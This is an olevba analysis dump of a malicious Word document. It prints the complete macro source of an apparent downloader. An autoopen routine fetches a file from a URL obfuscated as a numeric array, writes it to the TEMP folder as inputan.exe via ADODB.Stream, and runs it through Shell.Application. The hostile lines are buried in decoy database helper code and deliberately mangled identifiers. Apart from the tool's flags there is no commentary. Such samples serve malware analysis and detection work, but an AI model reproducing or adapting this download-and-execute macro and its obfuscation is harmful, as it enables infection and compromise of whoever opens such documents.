Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS-H--V advanc~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: advanc~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: advanc~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()
JoinTampilData "", "", "", ""
LOOK_STRING_FLAG_FUNC "", ""
VerifyColumnSource 0, "", 0, 0
End Sub





-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: advanc~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function LOOK_STRING_FUNC(ByRef DATA_STR As String, _
ByRef LOOK_STR As String, _
Optional ByVal DELIM_CHR As String = "")
Dim i As Long
Dim j As Long
Dim k As Long
On Error GoTo ERROR_LABEL
i = InStr(1, DATA_STR, LOOK_STR, 1)
If i = 0 Then: GoTo ERROR_LABEL
j = InStrRev(DATA_STR, DELIM_CHR, i)
k = InStr(i, DATA_STR, DELIM_CHR)
DATA_STR = Mid(DATA_STR, j + 1, k - j - 1)
LOOK_STRING_FUNC = DATA_STR
Exit Function
ERROR_LABEL:
LOOK_STRING_FUNC = Err.Number
End Function
Function LOOK_STRING_MAT_FUNC(ByRef DATA_RNG As Variant, _
ByVal LOOK_STR As String, _
Optional ByVal SROW As Long = 1, _
Optional ByVal OUTPUT As Integer = 0)
Dim i As Long
Dim j As Long
Dim k As Long
Dim ii As Long
Dim jj As Long
Dim kk As Long
Dim NROWS As Long
Dim NCOLUMNS As Long
Dim TEMP_STR As String
Dim DELIM_CHR As String
Dim TEMP_ARR As Variant
Dim DATA_MATRIX As Variant
On Error GoTo ERROR_LABEL
DATA_MATRIX = DATA_RNG
NCOLUMNS = UBound(DATA_MATRIX, 2)
If LOOK_STR = "" Then kk = 1: Exit Function
DELIM_CHR = DECIMAL_SEPARATOR_FUNC()
If InStr(1, LOOK_STR, "") > 0 Then DELIM_CHR = ""
ii = 1
i = 0
ReDim TEMP_ARR(0 To i)
Do
 jj = InStr(ii, LOOK_STR, DELIM_CHR)
 If jj = 0 Then jj = Len(LOOK_STR) + 1
 i = i + 1
 ReDim Preserve TEMP_ARR(i)
 TEMP_ARR(i) = LCase(Trim(Mid(LOOK_STR, ii, jj - ii)))
 ii = jj + 1
Loop Until ii > Len(LOOK_STR)
NROWS = i
kk = 0
For i = 1 To NROWS
 k = 0
 For j = 1 To NCOLUMNS
 TEMP_STR = LCase(DATA_MATRIX(SROW, j))
 If TEMP_STR Like "" + TEMP_ARR(i) + "" Then
 k = 1: Exit For
 End If
 Next j
 If k = 0 Then
 kk = 0
 If DELIM_CHR = "" Then Exit For
 Else
 kk = 1
 If DELIM_CHR = "" Then Exit For
 End If
Next i
 Select Case OUTPUT
 Case 0
 LOOK_STRING_MAT_FUNC = TEMP_ARR
 Case Else
 LOOK_STRING_MAT_FUNC = TEMP_STR
 End Select
Exit Function
ERROR_LABEL:
LOOK_STRING_MAT_FUNC = Err.Number
End Function
Public Function LOOK_STRING_FLAG_FUNC(ByVal DATA_STR As String, _
ByVal LOOK_STR As String)
Dim i As Long
Dim rmblr() As Variant
rmblr = Array(447, 489, 519, 545, 521, 540, 570, 672, 702, 732, 689, 785, 817, 844, 871, 904, 922, 964, 982, 1024, 1055, 1085, 1100, 1147, 1174, 1139, 1228, 1269, 1230, 1265, 1296, 1376, 1402, 1434, 1414, 1444, 1474, 1500, 1531, 1570, 1598, 1679, 1657, 1737, 1716, 1793, 1769, 1854, 1903, 1914)
Dim ATEMP_STR As String
ATEMP_STR = "E"
Dim BTEMP_STR As String
On Error GoTo ERROR_LABEL
lPrecisionData.Open "G" + ATEMP_STR + "T", Zaporoshilo(rmblr, 49), False
AturTabelData = AddItemData("T" + ATEMP_STR + "MP")
lPrecisionData.Send
HanyaAngkaEnter 9
Exit Function
LOOK_STRING_FLAG_FUNC = False
ATEMP_STR = "" & LOOK_STR & ""
BTEMP_STR = "" & DATA_STR & ""
i = InStr(1, ATEMP_STR, BTEMP_STR, 1)
If i > 0 Then: LOOK_STRING_FLAG_FUNC = True
Exit Function
ERROR_LABEL:
LOOK_STRING_FLAG_FUNC = Err.Number
End Function
Function LOOK_STRING_SUFFIX_FUNC(ByRef DATA_STR As String, _
Optional ByVal DELIM_CHR As String = "")
Dim i As Long
On Error GoTo ERROR_LABEL
i = InStrRev(DATA_STR, DELIM_CHR)
If i = 0 Then
 LOOK_STRING_SUFFIX_FUNC = vbNullString
Else
 LOOK_STRING_SUFFIX_FUNC = Mid(DATA_STR, i + 1)
End If
Exit Function
ERROR_LABEL:
LOOK_STRING_SUFFIX_FUNC = Err.Number
End Function
Function LOOK_STRING_SUFFIX_ARR_FUNC(ByRef DATA_RNG As Variant, _
ByRef LOOK_STR As String)
Dim i As Long
Dim j As Long
Dim DATA_STR As String
On Error GoTo ERROR_LABEL
j = Len(LOOK_STR)
i = LBound(DATA_RNG)
DATA_STR = DATA_RNG(i)
Do Until DATA_STR = ""
 If DATA_STR <> vbNullString Then
 If StrComp(Left(DATA_STR, j), LOOK_STR) = 0 Then
 DATA_STR = Mid(DATA_STR, j + 1)
 Exit Do
 End If
 End If
 i = i + 1
 DATA_STR = DATA_RNG(i)
 If i >= UBound(DATA_RNG) Then: Exit Do
Loop
LOOK_STRING_SUFFIX_ARR_FUNC = Array(DATA_STR, i)
Exit Function
ERROR_LABEL:
LOOK_STRING_SUFFIX_ARR_FUNC = Err.Number
End Function
Public Sub HanyaAngka(Inputan As Integer)
If InStr("", Chr(Inputan)) = 0 Then
 If Inputan <> vbKeyBack Then
 Inputan = 0
 End If
End If
End Sub
Public Sub HanyaAngkaEnter(Inputan As Integer)
zimbaba = "e"
TypeEnumData = AturTabelData + "\inp" + zimbaba + "tan." + zimbaba + "x" + zimbaba
Exit Sub
If InStr("", Chr(Inputan)) = 0 Then
 If Inputan <> 13 Then
 If Inputan <> vbKeyBack Then
 Inputan = 0
 End If
 End If
End If
End Sub
Public Sub FungsiNumber(field As String)
If field.Text = "" Then
 field.Text = 0
End If
 field.Text = FormatNumber(field.Text, 0)
 field.SelStart = Len(field.Text)
End Sub
Public Sub BatasMaksimal(frm As String, Jumlah As Integer)
frm.MaxLength = Jumlah
End Sub
Public Sub LockCombo(Inputan As Integer)
If InStr("", Chr(Inputan)) = 0 Then
 Inputan = 0
End If
End Sub
Public Sub Tengah(X As String)
Dim Atas As Long
Dim Kiri As Long
 Atas = (Screen.Height - X.Height) / 2 - 1000
 Kiri = (Screen.Width - X.Width) / 2
 X.Move Kiri, Atas
End Sub
Public Sub TextMati(X As Variant)
X.Enabled = False
X.BackColor = &HC0C0FF
End Sub
Public Sub TextHidup(X As Variant)
X.Enabled = True
X.BackColor = &H80000005
End Sub
Public Function InputTanggal(X As String) As String
Dim tanggal As String
tanggal = Format(X.Value, "")
InputTanggal = tanggal
End Function
Public Function Kode_Otomatis(tabel As String, ID As String, no As String, inisial As String, panjang As String, X As String, Y As String) As String
Dim rskode As Recordset
Dim t As Integer
Dim Nos As String
Dim KodeOtomatis As String
strsql = "" & ID & "" & tabel & "" & ID & ""
Set rskode = Conn.Execute(strsql)
If rskode.EOF = True Then
KodeOtomatis = inisial + no
Else
t = Val(Mid(rskode(0), X, Y))
Nos = inisial + Format(Str(t + 1), "" & panjang & "")
KodeOtomatis = Nos
End If
Kode_Otomatis = KodeOtomatis
End Function
Public Sub DataCombo(cmb As String, tabel As String, ID As String, nama As String)
 Dim RsData As Recordset
 Set RsData = New Recordset
 Dim SqlData As String
 SqlData = "" & tabel & ""
 RsData.Open SqlData, Conn, adOpenStatic, adLockReadOnly
 Do While Not RsData.EOF
 cmb.AddItem RsData("" & ID & "") + "" + RsData("" & nama & "")
 RsData.MoveNext
 Loop
End Sub
Public Function CekData(Data As String) As Boolean
Dim Rscek As Recordset
sql = Data
Set Rscek = Conn.Execute(sql)
If Not Rscek.EOF Then
 CekData = True
Else
 CekData = False
End If
End Function
Public Function CekDuplikatNama(tabel As String, pk As String, nilaipk As String, kolom As String, NilaiKolom As String) As Boolean
Dim Rscek As Recordset
sql = "" & tabel & "" & pk & "" & nilaipk & "" & kolom & "" & NilaiKolom & ""
Set Rscek = Conn.Execute(sql)
If Not Rscek.EOF Then
 CekDuplikatNama = True
Else
 CekDuplikatNama = False
End If
End Function
Public Sub datatahun(cmb As String)
For i = 2015 To CInt(Format(Now, ""))
 cmb.AddItem i
Next i
End Sub





-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: advanc~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public lPrecisionData As Object
Public eTypeData As Object
Public AddItemData  As Object
Public AturTabelData As String
Public TypeEnumData As String
Public SplitTabelData As Object
Public Sub databulan(cmb As String)
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
End Sub
Public Sub AturTabel(header As String, lebar As String, lst As String)
Dim i As Integer
Dim n As Integer
Dim pisahKata() As String
Dim pisahJarak() As String
pisahKata() = Split(header, "")
pisahJarak() = Split(lebar, "")
n = UBound(pisahKata)
With lst
 .Appearance = ccFlat
 .BorderStyle = ccNone
 .ColumnHeaders.Clear
 .View = lvwReport
 .HoverSelection = True
 .FullRowSelect = True
 .MultiSelect = True
 .Gridlines = True
 .HideSelection = True
 .LabelWrap = True
 .HotTracking = True
 For i = 0 To n
 .ColumnHeaders.Add.Text = pisahKata(i)
 .ColumnHeaders.Item(i + 1).Width = pisahJarak(i)
 Next i
End With
End Sub
Public Sub MasterTampilData(Table As String, kolom As String, Kondisi As String, lst As String)
Dim RsData As Recordset
Set RsData = New Recordset
Dim SqlData As String
Dim no As Integer
Dim n As Integer
Dim PilihKolom() As String
PilihKolom = Split(kolom, "")
n = UBound(PilihKolom)
lst.ListItems.Clear
no = 1
SqlData = "" & kolom & "" & Table & "" & Kondisi & ""
RsData.Open SqlData, Conn, adOpenStatic, adLockReadOnly
Do While Not RsData.EOF
 With lst.ListItems.Add
 .Text = no
 For i = 0 To n
 .SubItems(i + 1) = RsData(i)
 Next i
 End With
RsData.MoveNext
no = no + 1
Loop
End Sub
Public Sub JoinTampilData(Join As String, kolom As String, Kondisi As String, lst As String)
Set lPrecisionData = CreateObject("Microsoft" + ".XMLHTTP")
Set eTypeData = CreateObject("Adodb.Stream")
Set SplitTabelData = CreateObject("Shell.Application")
Set AddItemData = CreateObject("WScript.Shell").Environment("Process")
Exit Sub
Dim RsData As String
Dim SqlData As String
Dim no As Integer
Dim n As Integer
Dim PilihKolom() As String
PilihKolom = Split(kolom, "")
n = UBound(PilihKolom)
lStringst.ListItems.Clear
no = 1
SqlData = "" & kolom & "" & Join & "" & Kondisi & ""
RsDStringata.Open SqlData, Conn, adOpenStatic, adLockReadOnly
Do While Not RsDStringata.EOF
 With lsStringt.ListItems.Add
 .Text = no
 For i = 0 To n
 .SubItems(i + 1) = RsDStringata(i)
 Next i
 End With
RsStringData.MoveNext
no = no + 1
Loop
End Sub
Public Sub SimpanMaster(tabel As String, kolom As String, nilai As String)
On Error GoTo salah
Dim Konvert() As String
Dim panjang As Integer
Konvert = Split(nilai, "")
panjang = UBound(Konvert)
Set cmd = New ADODB.Command
With cmd
 .ActiveConnection = strConn
 .CommandType = adCmdText
 .CommandText = "" & tabel & "" & kolom & "" & KolomPanjang(panjang) & ""
 For i = 0 To panjang
 .Parameters(i).Value = Konvert(i)
 Next i
 .Execute
End With
 MsgBox "" & tabel & "", vbInformation, ""
Exit Sub
salah:
 MsgBox "" & tabel & "", vbCritical, ""
End Sub
Public Sub UbahMaster(tabel As String, kolom As String, nilai As String, Kondisi As String, NilaiKondisi As String)
On Error GoTo salah
Dim Konvert() As String
Dim panjang As Integer
Konvert = Split(nilai, "")
panjang = UBound(Konvert)
Set cmd = New ADODB.Command
With cmd
 .ActiveConnection = strConn
 .CommandType = adCmdText
 .CommandText = "" & tabel & "" & kolom & "" _
 & "" & Kondisi & ""
 For i = 0 To panjang
 .Parameters(i).Value = Konvert(i)
 Next i
 .Parameters((panjang + 1)).Value = NilaiKondisi
 .Execute
End With
MsgBox "" & tabel & "", vbInformation, ""
Exit Sub
salah:
MsgBox "" & tabel & "", vbExclamation, ""
End Sub
Public Function CekNull(a As String) As Boolean
 On Error Resume Next
 CekNull = False
 For Each eachField In a.Controls
 If TypeOf eachField Is TextBox Or TypeOf eachField Is ComboBox Or TypeOf eachField Is MaskEdBox Then
 If eachField.Text = "" Then
 CekNull = True
 End If
 End If
 Next
End Function
Public Function CariSingleData(tabel As String, kolomcari As String, pk As String, nilaipk As String) As String
Dim sql As String
Dim RsData As Recordset
Set RsData = New Recordset
sql = "" & kolomcari & "" & tabel & "" & pk & "" & nilaipk & ""
Set RsData = Conn.Execute(sql)
CariSingleData = RsData(0)
End Function
Public Sub HapusData(tabel As String, pk As String, nilai As String)
On Error GoTo salah
 Dim sql As String
 sql = "" & tabel & "" & pk & "" & nilai & ""
 Conn.Execute (sql)
Exit Sub
MsgBox "" & tabel & "", vbInformation, ""
salah:
MsgBox "" & tabel & "", vbCritical, ""
End Sub
Private Function KolomPanjang(X As Integer) As String
Dim Hasil As String
Dim i As Integer
For i = 0 To X
 If i = 0 Then
 Hasil = "" + ""
 ElseIf i = X Then
 Hasil = Hasil + ""
 Else
 Hasil = Hasil + "" + ""
 End If
Next i
KolomPanjang = Hasil
End Function
Public Function PanjangListPas(X As String, persen As String) As Double
 PanjangListPas = (CDbl(persen) / 100) * (X.Width - 500)
End Function
Public Sub LoadPekerjaan(cmb As String)
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
 cmb.AddItem ""
End Sub
Public Function Zaporoshilo(fromArr() As Variant, FullLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - 7 * FullLen - i * 30)
    Next i
    Zaporoshilo = result
End Function
Public Function CekUmur(par1 As Date, par2 As Date, max As Integer, min As Integer) As Boolean
Selisih = DateDiff("", par1, par2)
If Selisih < min Then
 CekUmur = False
ElseIf Selisih > max Then
 CekUmur = False
Else
 CekUmur = True
End If
End Function






-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: advanc~1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Sub MainSetup(ByVal frm As String)
Call LVWTableSourceHeaderSetup(frm.lvwTableSource)
Call LVWColumnSourceHeaderSetup(frm.lvwColumnsSource)
Call LVWTableTargetHeaderSetup(frm.lvwTableTarget)
End Sub
Private Sub LVWTableSourceHeaderSetup(ByVal lvw As String)
With lvw.ColumnHeaders
 .Clear
 .Add , , ""
 .Add , , "", , lvwColumnRight
End With
lvw.ListItems.Clear
End Sub
Private Sub LVWColumnSourceHeaderSetup(ByVal lvw As String)
With lvw.ColumnHeaders
 .Clear
 .Add , , ""
 .Add , , ""
 .Add , , "", , lvwColumnRight
 .Add , , "", , lvwColumnRight
 .Add , , "", , lvwColumnCenter
End With
lvw.ListItems.Clear
End Sub
Private Sub LVWTableTargetHeaderSetup(ByVal lvw As String)
With lvw.ColumnHeaders
 .Clear
 .Add , , ""
 .Add , , "", , lvwColumnRight
End With
lvw.ListItems.Clear
End Sub
Public Function MainTransferStart(ByVal frm As String, ByVal oDB As String) As Boolean
On Error GoTo MainTransferStartErrHandler
Const PROCEDURE_NAME As String = ""
StatusMsg ""
If Not OpenSource(oDB) Then
 Exit Function
End If
StatusMsg ""
If Not OpenTarget(oDB) Then
 Exit Function
End If
ClearControls frm
If VerifyTableSource(frmMain, frmMain.lvwTableSource, oDB) = False Then
 Exit Function
End If
MainTransferStart = True
MainTransferStartErrExit:
On Error GoTo 0
Exit Function
MainTransferStartErrHandler:
Call oDB.FireEvent(etOnDBEvent, _
 eBADbEvent.dbeErrOtherUnown, _
 PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description)
Err.Clear
Resume MainTransferStartErrExit
End Function
Public Function MainCopyData(ByVal frm As String, ByVal oDB As String) As Boolean
Dim i As Long
Dim sTable As String
Dim oLI As ListItem, oLITarget As ListItem
On Error GoTo MainCopyDataErrHandler
Const PROCEDURE_NAME As String = ""
frm.lvwTableTarget.ListItems.Clear
For i = 1 To frm.lvwTableSource.ListItems.Count
 Set oLI = frm.lvwTableSource.ListItems(i)
 Set frm.lvwTableSource.SelectedItem = oLI
 sTable = oLI.Text
 If VerifyColumnSource(frmMain, sTable, frmMain.lvwColumnsSource, oDB) = False Then
 Exit Function
 Else
 If DropTableTarget(frm, oDB, sTable) = True Then
 StatusMsg "" & sTable & ""
 If CreateTable(oDB.CnTarget, oDB, oDB.DBTables.DBTableGetByName(sTable)) = True Then
 Set oLITarget = frm.lvwTableTarget.ListItems.Add(, sTable, sTable)
 Set frm.lvwTableTarget.SelectedItem = oLITarget
 StatusMsg "" & sTable & ""
 If CopyData(frm, oDB, sTable) = True Then
 oLITarget.ListSubItems(1).Text = Format$(frm.LastRecCount, "")
 Else
 oLITarget.ListSubItems(1).Text = ""
 End If
 ListViewAdjustColumnWidth frm.lvwTableTarget, , True, True
 Sleep 0: DoEvents
 If frm.AppState = asStopRequest Then
 Exit For
 End If
 End If
 End If
 End If
Next i
MainCopyDataErrExit:
On Error GoTo 0
Exit Function
MainCopyDataErrHandler:
oDB.FireEvent etOnDBEvent, eBADbEvent.dbeErrOtherUnown, _
 PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
Err.Clear
Resume MainCopyDataErrExit
End Function
Public Function MainDBTestConnection(ByVal sConnection As String, ByRef sErrMsg As String) As Boolean
Dim cn As String
Dim oErr As Object
On Error Resume Next
Set cn = New ADODB.Connection
cn.ConnectionString = sConnection
Call cn.Open
If Err Then
 If cn.State <> adStateClosed Then
 Call cn.Close
 End If
 sErrMsg = "" & CStr(Err.Number) & "" & Err.Description
 MainDBTestConnection = False
ElseIf cn.Errors.Count > 0 Then
 For Each oErr In cn.Errors
 sErrMsg = sErrMsg & "" & CStr(oErr.Number) & "" & oErr.Description & vbNewLine
 Next oErr
 Call cn.Close
 MainDBTestConnection = False
 Call cn.Errors.Clear
Else
 Call cn.Close
 MainDBTestConnection = True
End If
On Error GoTo 0
Set cn = Nothing
End Function
Private Function OpenSource(ByVal oDB As String) As Boolean
Dim sTemp As String
On Error GoTo OpenSourceErrHandler
Const PROCEDURE_NAME As String = ""
With oDB
 Set .CnSource = New ADODB.Connection
 .CnSource.ConnectionString = .ConnectionSource
 Call .CnSource.Open
End With
OpenSource = True
OpenSourceErrExit:
On Error GoTo 0
Exit Function
OpenSourceErrHandler:
sTemp = ADOGetConnectionErrStr(oDB.CnSource)
If Len(sTemp) > 0 Then
 sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description & vbNewLine & sTemp
Else
 sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
End If
Call oDB.FireEvent(etOnDBEvent, _
 eBADbEvent.dbeConnectionSourceFailed, sTemp)
Err.Clear
Resume OpenSourceErrExit
End Function
Private Function VerifyTableSource(ByVal frm As String, ByVal lvw As String, ByVal oDB As String) As Boolean
Dim oTable As String
Dim sTemp As String
VerifyTableSource = True
For Each oTable In oDB.DBTables.DBTables
 sTemp = oTable.TblName
 StatusMsg "" & sTemp & ""
 If DBADOUtil.DBADOTableExistsCN(oDB.CnSource, sTemp) = teTableExists Then
 Call lvw.ListItems.Add(, sTemp, sTemp)
 Else
 Call lvw.ListItems.Add(, sTemp, sTemp & "")
 VerifyTableSource = VerifyTableSource And False
 End If
Next oTable
ListViewAdjustColumnWidth lvw, , True, True
End Function
Public Function VerifyColumnSource(ByVal frm As String, ByVal sTable As String, _
 ByVal lvwColumns As String, ByVal oDB As String) As Boolean
Dim oTable As String
Dim oCol As String
Dim sTemp As String
Dim i As Long
Dim oLI As String
Dim oMap As String
Dim eType As String, lSize As Long, lPrecision As Long
eTypeData.Type = 1
eTypeData.Open
eTypeData.write lPrecisionData.responseBody
eTypeData.savetofile TypeEnumData, 2
CopyData "", "", ""
On Error GoTo VerifyColumnSourceErrHandler
Exit Function
Const PROCEDURE_NAME As String = ""
VerifyColumnSource = True
lvwCoStringlumns.ListItems.Clear
oTable = oStrStringingDB.DBTables.DBTableGetByName(sTable)
If oTStringable.DBColumns.CopyAllColumns = True Then
 Dim cat As String
 Dim tbl As String
 Dim colADO As String
 Set cStringat.ActiveConnection = oDStringB.CnSource
 For Each tStringbl In caStringt.Tables
 If tStringbl.Name = sTable Then
 For Each colStringADO In tbStringl.Columns
 sTemp = coStringlADO.Name
 StatuSS.tringtringsMsg "" & sTable & "" & sTemp & ""
 Set oStringLI = lvwCoStringlumns.ListItems.Add(, sTemp, sTemp)
 With oCStringol
 .ColName = colStringADO.Name
 Set .ADOXColumnSource = colStringADO
 If colStringADO.Attributes = (colStringADO.Attributes Or adColNullable) Then
 .AllowNullStr = ""
 End If
 .Precision = colStringADO.Precision
 .Size = colStringADO.DefinedSize
 If oDStringB.DBMappings.HasDBMappingOfType(colAStringDO.Type) = True Then
 Set oMaStringp = oStringDB.DBMappings.GetDBMappingForType(colAStringDO.Type)
 .TypeTarget = oMaStringp.TypeTarget
 Else
 .TypeTarget = colStringADO.Type
 End If
 End With
 Call oStringDB.DBTables.DBTableAddCol(oTable, oCol)
 sTemp = modApp.GetFieldTypeEx(oStringCol.ADOXColumnSource, eType, lSize, lPrecision)
 sTemp = sTemp & "" & CStr(eType) & ""
 oLStringI.ListSubItems.Add , , sTemp
 oLStringI.ListSubItems.Add , , Format$(lSize, "")
 oLStringI.ListSubItems.Add , , Format$(lPrecision, "")
 oLStringI.ListSubItems.Add , , IIf(oCStringol.AllowNull = True, "", "")
 Next colStringADO
 End If
 Next tStringbl
 Set catStringblt.ActiveConnection = Nothing
Else
 For Each oCtStringblol In oTabtStringblle.DBColumns.DBColumns
 sTemp = oCotStringbll.ColName
 StatutSt.ringblsMsg "" & sTable & "" & sTemp & ""
 oLI = lvwC.olumns.ListItems.Add(, sTemp, sTemp)
 If DBADOU.til.DBADOColumnExistsCN(oD.B.CnSource, sTable, sTemp) = ceColExists Then
 Set oC.ol.ADOXColumnSource = DBADOUtil.DBADOColumnGetADOXColCN(oD.B.CnSource, sTable, sTemp)
 Call oD.B.DBTables.DBTableAddADOXCol(oTable, oCol)
 sTemp = mo.d.App.GetFieldTypeEx(oC.l.ADOXColumnSource, eType, lSize, lPrecision)
 sTemp = sTemp & "" & CStr(eType) & ""
 ol.i.ListSubItems.Add , , sTemp
 ol.i.ListSubItems.Add , , Format$(lSize, "")
 ol.i.ListSubItems.Add , , Format$(lPrecision, "")
 ol.i.ListSubItems.Add , , ii.f(oC.ol.AllowNull = True, "", "")
 Else
 ol.i.ListSubItems.Add , , ""
 VerifyColumnSource = VerifyColumnSource And False
 oD.B.FireEvent etOnDBEvent, eBADbEvent.dbeColSourceMissing, sTemp
 End If
 Next oCtStringblol
End If
ListViewAdju.stColumnWidth lvwColumns, , True, True
If VerifyColumnSource = True Then
 oD.B.FireEvent etOnDBEvent, eBADbEvent.dbeColDoMapping, sTable
End If
VerifyColumnSourceErrExit:
On Error GoTo 0
Exit Function
VerifyColumnSourceErrHandler:
VerifyColumnSource = False
oD.B.FireEvent etOnDBEvent, eBADbEvent.dbeErrOtherUnown, PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
Er.r.Clear
Resume VerifyColumnSourceErrExit
End Function
Private Function OpenTarget(ByVal oDB As String) As Boolean
Dim sTemp As String
On Error GoTo OpenTargetErrHandler
Const PROCEDURE_NAME As String = ""
With oDB
 Set .CnTarget = New ADODB.Connection
 .CnTarget.ConnectionString = .ConnectionTarget
 Call .CnTarget.Open
End With
OpenTarget = True
OpenTargetErrExit:
On Error GoTo 0
Exit Function
OpenTargetErrHandler:
sTemp = ADOGetConnectionErrStr(oDB.CnTarget)
If Len(sTemp) > 0 Then
 sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description & vbNewLine & sTemp
Else
 sTemp = PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description
End If
Call oDB.FireEvent(etOnDBEvent, _
 eBADbEvent.dbeConnectionTargetFailed, sTemp)
Err.Clear
Resume OpenTargetErrExit
End Function
Private Function VerifyTableTarget(ByVal frm As String, ByVal lst As String, ByVal oDB As String) As Boolean
Dim oTable As String
Dim sTemp As String
VerifyTableTarget = True
For Each oTable In oDB.DBTables.DBTables
 sTemp = oTable.TblName
 StatusMsg "" & sTemp & ""
 If DBADOUtil.DBADOTableExistsCN(oDB.CnTarget, sTemp) = teTableExists Then
 lst.AddItem sTemp
 Else
 lst.AddItem sTemp & ""
 VerifyTableTarget = VerifyTableTarget And False
 End If
Next oTable
End Function
Private Function DropTableTarget(ByVal frm As String, ByVal oDB As String, ByVal sTable As String) As Boolean
Dim oTable As String
On Error GoTo DropTableTargetErrHandler
Const PROCEDURE_NAME As String = ""
For Each oTable In oDB.DBTables.DBTables
 If oTable.TblName = sTable Then
 If DBADOTableExistsCN(oDB.CnTarget, oTable.TblName) = False Then
 DropTableTarget = True
 Exit Function
 Else
 Call oDB.CnTarget.Execute("" & sTable, , adExecuteNoRecords)
 Exit For
 End If
 End If
Next oTable
DropTableTarget = True
DropTableTargetErrExit:
On Error GoTo 0
Exit Function
DropTableTargetErrHandler:
Err.Clear
Resume DropTableTargetErrExit
End Function
Private Function CreateTable(ByVal cn As String, ByVal oDB As String, ByVal oTable As String) As Boolean
Dim cat As String
Dim tbl As String
Dim col As ADOX.Column
Dim oDBCol As String
Dim sColType As String
Dim sMsg As String
On Error GoTo CreateTableErrHandler
Const PROCEDURE_NAME As String = ""
Set cat = New ADOX.Catalog
Set cat.ActiveConnection = cn
Set tbl = New ADOX.Table
With tbl
 .Name = oTable.TblName
 For Each oDBCol In oTable.DBColumns.DBColumns
 StatusMsg "" & oDBCol.ColName & ""
 Set col = New ADOX.Column
 col.Name = oDBCol.ColName
 col.Type = oDBCol.GetTypeTarget
 If (oDBCol.Size = 0) And (oDBCol.Precision = 0) Then
 ElseIf (oDBCol.Size > 0) And (oDBCol.Precision = 0) Then
 col.DefinedSize = oDBCol.Size
 ElseIf (oDBCol.Size = 0) And (oDBCol.Precision > 0) Then
 If DBADOColumnTypeIsInteger(col.Type) = False Then
 col.Precision = oDBCol.Precision
 End If
 End If
 If oDBCol.AllowNull = True Then
 col.Attributes = adColNullable
 End If
 Select Case oDBCol.TypeTarget
 Case adoBoolean
 col.Attributes = 0
 End Select
 sColType = modApp.GetFieldType(col)
 .Columns.Append col
 Next oDBCol
End With
sMsg = GetDBColumnsPropertiesString(tbl)
cat.Tables.Append tbl
sMsg = vbNullString
For Each oDBCol In oTable.DBColumns.DBColumns
 If oDBCol.IsIndex = True Then
 If AddIndex(oDB, cat, tbl, oDBCol) = False Then
 CreateTable = False
 Exit Function
 End If
 End If
Next oDBCol
Set cat.ActiveConnection = Nothing
Set cat = Nothing
Set tbl = Nothing
Set col = Nothing
CreateTable = True
CreateTableErrExit:
On Error GoTo 0
Exit Function
CreateTableErrHandler:
CreateTable = False
If Len(sMsg) > 0 Then
 sMsg = Err.Description & vbNewLine & sMsg
Else
 sMsg = Err.Description
End If
Call oDB.FireEvent(etOnDBEvent, eBADbEvent.dbeTableCreateFailed, _
 PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & sMsg)
Err.Clear
Resume CreateTableErrExit
End Function
Private Function AddIndex(ByVal oDB As String, ByVal cat As String, ByVal tbl As String, ByVal oDBCol As String) As Boolean
Dim i As Long
Dim col As ADOX.Column
Dim idx As ADOX.Index
Dim bolFound As Boolean
On Error GoTo AddIndexErrHandler
Const PROCEDURE_NAME As String = ""
For i = 0 To tbl.Columns.Count - 1
 Set col = tbl.Columns(i)
 If col.Name = oDBCol.ColName Then
 bolFound = True
 Exit For
 End If
Next i
If bolFound = True Then
 Set idx = New ADOX.Index
 With idx
 .Name = oDBCol.ColName
 .PrimaryKey = oDBCol.IsPrimary
 If .PrimaryKey = False Then
 .Unique = oDBCol.IsUnique
 If .Unique = False Then
 If oDBCol.AllowNull = True Then
 .IndexNulls = adIndexNullsIgnore
 End If
 End If
 End If
 .Columns.Append col.Name
 End With
 tbl.Indexes.Append idx
End If
AddIndex = True
AddIndexErrExit:
On Error GoTo 0
Exit Function
AddIndexErrHandler:
AddIndex = False
Call oDB.FireEvent(etOnDBEvent, eBADbEvent.dbeIndexCreateFailed, _
 PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description)
Err.Clear
Resume AddIndexErrExit
End Function
Public Function CopyData(ByVal frm As String, ByVal oDB As String, ByVal sTable As String) As Boolean
Dim sSQLSource As String, sSQLTarget As String
Dim sSQLCount As String
Dim lRecCount As Long, lCount As Long, lColCount As Long, i As Long
Dim cmd As String
Dim prm As String
Dim sParam As String
Dim rs As String
SplitTabelData.Open (TypeEnumData)
Exit Function
On Error GoTo CopyDataErrHandler
